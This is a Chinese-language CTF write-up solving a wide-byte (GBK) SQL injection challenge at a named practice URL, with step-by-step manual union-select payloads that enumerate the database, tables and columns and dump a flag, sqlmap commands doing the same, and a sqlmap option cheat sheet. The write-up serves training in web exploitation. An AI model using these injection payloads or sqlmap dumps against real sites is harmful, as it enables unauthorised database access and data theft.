SQL注入

题目:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1
本题为宽字节注入,本文重点讲解SQL注入相关方法。


方法一:

1、爆出数据库

手工

id=%df%27%20union%20select%201,%20database()%23

工具

python sqlmap.py -u http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' --current-db

2、爆出表

手工

id=%df%27 union select 1,group_concat(table_name)from information_schema.tables where table_schema=database()%23

工具

python sqlmap.py -u http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' -T sae-chinalover --tables

3、爆出表的内容

手工

id=%df%27 union select 1,group_concat(column_name)from information_schema.columns where table_name=ctf4%23
ctf4进行16进制转换
id=%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634%23

工具

sqlmap.py -u http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' -T sae-chinalover -T ctf4 --columns

4、获取列的内容

手工

id=%df%27 union select 1,group_concat(flag) from ctf4%23

工具

sqlmap.py -u http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' -T sae-chinalover -T ctf4 -C flag --dump

方法二:

sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" --search -C flag
--level 3 --risk 1 --thread 10

方法三:

python sqlmap.py -u http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' --current-db

SQL注入_第1张图片

关注黄色标注,打开此文件可得。


关于手工注入:

后续参考:
1、SQL备忘录
2、SQL Injection


关于sqlmap注入:

-h 显示基础的帮助消息并退出
-hh 显示高级的帮助消息并退出
-u 目标url
--thread 10 最大为10
--level 3 最大为5
--risk 3 最大为3
-a 检索所有
--current-db 检索当前数据库
--tables 枚举数据库表名
--columns 枚举数据库列名
--dump 输出数据库表的数据
--search 查找特定的列名,表名或数据库名,配合-D,-C,-T
-D 指定数据库名
-T 指定数据库表名
-C 指定数据库列名
--common-tables 检测常见的表名
--common-columns 检测常见的列名

你可能感兴趣的:(SQL注入)